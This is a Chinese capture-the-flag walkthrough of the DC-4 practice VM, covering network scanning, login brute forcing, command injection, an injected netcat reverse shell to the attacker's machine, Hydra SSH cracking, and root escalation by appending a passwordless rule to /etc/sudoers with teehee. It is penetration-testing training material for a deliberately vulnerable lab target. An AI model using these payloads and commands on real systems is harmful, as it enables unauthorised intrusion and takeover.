DC-4 靶机攻防实战:信息枚举、反弹 Shell 与 teehee 命令提权完整复盘

DC-4靶机渗透测试WP

其他靶机

涉及资源均已共享

一、信息收集

1. ARP扫描确认靶机IP

通过arp-scan命令快速扫描局域网内设备,确认DC-4靶机IP地址为 192.168.20.185

1
arp-scan -l

2. Nmap端口扫描

使用nmap扫描靶机开放端口,确认基础服务情况(默认扫描常用端口)。

1
nmap 192.168.20.185

3. Web页面初步探测

访问靶机Web页面(基于Nmap扫描结果的Web端口),显示账户密码登录界面。使用Wappalyzer工具探测,未识别到明确的Web框架信息。


4. 登录界面爆破

针对登录界面的admin账户进行密码爆破,成功获取密码为 happy


5. Web端命令执行(RCE)

登录后,点击功能模块List Files并点击Run按钮,使用Burp Suite抓取请求包,发现请求参数radio存在命令注入漏洞,可直接执行系统命令。


通过修改radio参数验证RCE,命令执行成功:

二、NC监听反弹Shell

1. Kali端启动NC监听

在Kali攻击机上创建6666端口的监听,用于接收靶机的反弹Shell:

1
nc -lvp 6666

2. 构造反弹Shell命令

在Burp Suite中修改radio参数,以+为分隔符拼接反弹Shell命令(靶机IP为192.168.20.172,需替换为实际KaliIP):

1
radio=nc+192.168.20.172+6666+-e+/bin/bash&submit=Run

3. 接收Shell并补全环境

Kali端成功接收到靶机的bash Shell,当前权限为www-data

使用Python命令补全交互式Shell环境,方便后续操作:

1
python -c "import pty;pty.spawn('/bin/bash')"

三、内网信息收集与SSH爆破

1. 查看/etc/passwd确认可登录用户

读取/etc/passwd文件,发现3个可登录的普通用户(/bin/bash结尾):

  • charles:x:1001:1001:Charles,,,:/home/charles:/bin/bash
  • jim:x:1002:1002:Jim,,,:/home/jim:/bin/bash
  • sam:x:1003:1003:Sam,,,:/home/sam:/bin/bash

2. 获取密码字典

进入/home/jim/backups目录,发现密码备份文件old-passwords.bak,内容为潜在密码列表:

1
cd /home/jim/backups && cat old-passwords.bak

3. Hydra爆破Jim的SSH密码

old-passwords.bak内容复制到Kali,使用Hydra工具爆破jim用户的SSH密码(靶机IP需替换为实际地址,此处原命令为192.168.20.227,以实际环境为准):

1
hydra -l jim -P old-pass ssh://192.168.20.227 -vV

成功爆破出jim的密码:jibril04


四、横向移动:获取Charles密码

1. 查看Jim的邮件

切换到jim用户后,进入/var/mail目录,读取jim的邮件,发现Charles发送的包含密码的邮件:

1
cat /var/mail/jim

邮件内容核心:Charles的密码为 ^xHhA&hvim0y(注意用户名是小写charles)。

五、提权:获取root权限

1. 查看Charles的sudo权限

切换到charles用户(使用密码^xHhA&hvim0y),执行sudo -l查看可执行的特权命令:

1
sudo -l

发现charles可无密码执行/usr/bin/teehee命令。


2. 利用teehee修改sudoers提权

teehee命令功能与tee类似,支持追加写入文件且无密码执行。通过向/etc/sudoers文件追加内容,赋予charles无密码执行所有sudo命令的权限:

1
echo 'charles ALL=(ALL:ALL) NOPASSWD:ALL' | sudo teehee -a /etc/sudoers

命令解释:

  • charles ALL=(ALL:ALL):允许charles以任何用户/组身份执行命令;
  • NOPASSWD:ALL:执行sudo时无需输入密码;
  • sudo teehee -a /etc/sudoers:通过sudo调用teehee,将内容追加到/etc/sudoers-a为追加参数)。

3. 切换root用户

修改/etc/sudoers后,执行sudo su -直接切换到root用户,完成提权:

1
sudo su -
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
root@dc-4:~# cat flag.txt



888 888 888 888 8888888b. 888 888 888 888
888 o 888 888 888 888 "Y88b 888 888 888 888
888 d8b 888 888 888 888 888 888 888 888 888
888 d888b 888 .d88b. 888 888 888 888 .d88b. 88888b. .d88b. 888 888 888 888
888d88888b888 d8P Y8b 888 888 888 888 d88""88b 888 "88b d8P Y8b 888 888 888 888
88888P Y88888 88888888 888 888 888 888 888 888 888 888 88888888 Y8P Y8P Y8P Y8P
8888P Y8888 Y8b. 888 888 888 .d88P Y88..88P 888 888 Y8b. " " " "
888P Y888 "Y8888 888 888 8888888P" "Y88P" 888 888 "Y8888 888 888 888 888


Congratulations!!!

Hope you enjoyed DC-4. Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.

If you enjoyed this CTF, send me a tweet via @DCAU7.